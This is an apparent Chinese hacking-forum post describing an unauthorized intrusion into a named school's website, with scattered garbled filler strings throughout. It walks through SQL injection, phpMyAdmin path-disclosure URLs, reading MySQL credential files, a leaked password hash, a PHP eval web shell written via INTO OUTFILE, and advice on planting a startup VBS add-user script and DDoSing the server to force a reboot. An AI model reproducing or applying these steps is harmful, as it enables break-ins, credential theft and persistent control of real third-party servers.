友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
* B: P+ C  ^; i* M+ @9 u
+ ?& y- T% o8 S4 v* v2 }

( p) r* [* D8 x' `! i5 t3 x* }常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

' R" T6 L, n- [2 z# M! d+ a4 F那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF

试着爆绝对路径：
! W9 a2 \" O2 |9 |5 h' f1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
1 ?' V6 @4 W- k3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
% J0 ]4 c% @6 N5 d8 [" R: B5./phpmyadmin/libraries/select_lang.lib.php  
6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
- g- p3 N; x6 g8./phpmyadmin/libraries/export/xls.php  

0 s/ j% T8 X2 K9 Q: Q均不行...........................

& i$ c- a2 X) G8 q$ n御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php

7 I6 l5 @( Y+ ^) y# |+ C% ^( `# ^$ c4 K权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
- e$ _' d% R7 w5 [9 B9 m
默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

+ w6 C; J: G5 @$ Z( P7 r. u: }7 K; Q+ e敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

% `( `. r8 k6 Z  c想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

% [7 z+ J- q& u8 ]# V: P9 jhttp://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
" o+ b' p$ h* s
, u5 J6 _0 B: x7 ]自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
8 z' o5 x! H' y4 Z$ S
成功读到root密码：
  |& d1 h1 t/ d6 W9 p1 g
1 @# `; B* |; g+ h17---- r(0072)
18---- o(006f)
19---- o(006f)
20---- t(0074)
21---- *(002a)
* z7 i  |+ H+ ^- `. T/ O7 ?1 ^( c22---- 8(0038)
23---- 2(0032)
24---- E(0045)
25---- 1(0031)
26---- C(0043)
1 A% z5 B: C: V7 [27---- 5(0035)
& O" c2 `8 E& X4 G28---- 8(0038)
! V! \6 P+ \  Q0 B+ \29---- 2(0032)
30---- 8(0038)
31---- A(0041)
32---- 9(0039)
33---- B(0042)
34---- 5(0035)
( C% p' G* R& b3 q/ U( F- N7 O3 l2 R35---- 4(0034)
( z) w" |1 g7 Q6 I* `! `6 O+ Q36---- 8(0038)
37---- 6(0036)
# x/ a2 {. \0 R1 t38---- 4(0034)
39---- 9(0039)
7 x! C5 W% b  T5 Y& S40---- 1(0031)
41---- 1(0031)
42---- 5(0035)
) B2 h6 H  B# D: w43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
6 e) v: u& r* E6 [46---- 8(0038)
47---- F(0046)
! l. r" g# z5 S1 c5 A+ Y48---- F(0046)
49---- 4(0034)
50---- F(0046)
0 m7 x! X) L- H0 G2 U) ]4 B$ w51---- 0(0030)
9 ?  j) C# [$ L# e& K52---- 3(0033)
53---- 2(0032)
54---- A(0041)
# ~) \4 ]! V, L/ \55---- 4(0034)
+ V, e. [7 [' m% C( c* M56---- A(0041)
8 j' U3 X, `  i9 |4 o' L+ _1 O57---- B(0042)
58---- *(0044)
  h) N! ]6 X6 M" j! O8 C- s/ i59---- *(0035)
9 e4 p, u4 Z1 W! @60---- *(0041)
( I% z7 e4 f- s& o61---- *0032)
. S2 P  U) X3 F0 G4 p! g. M
解密后成功登陆phpmyamin
                          
  u4 ?( r0 k8 N2 {
                             

0 Y1 `8 M9 K5 @$ X/ W+ j$ y9 f找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
2 U1 W5 g$ P9 o, B5 y5 `' F! v
+ x. P. e5 Z/ x5 \成功执行，拿下shell，菜刀连接：
  X4 }- t% C6 |6 k& I, S/ S( |
/ w8 _+ U. B+ j. G服务器不支持asp,aspx,php提权无果...................
9 b- t& L) o% D, i: i& z# |
7 a3 [6 u2 r) M6 k% E. m但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

别名     administrators
2 @5 w' D8 o6 b2 i1 A3 I; ^3 Z注释     管理员对计算机/域有不受限制的完全访问权

# b/ C7 |1 C: {4 G* g

成员

$ T$ h1 O2 h1 l# g* e

-------------------------------------------------------------------------------
4 |$ Q  l9 S* q% j6 ]: ?admin
Administrator
slipper$
sqluser
命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
* g1 ^- N+ h% E
ddos服务器重启，不然就只能坐等服务器重启了...............................

7 H7 \  c+ w5 q, {8 j4 S      

8 C6 a- _8 k  g7 v# m4 G, O) w0 ]5 s

angel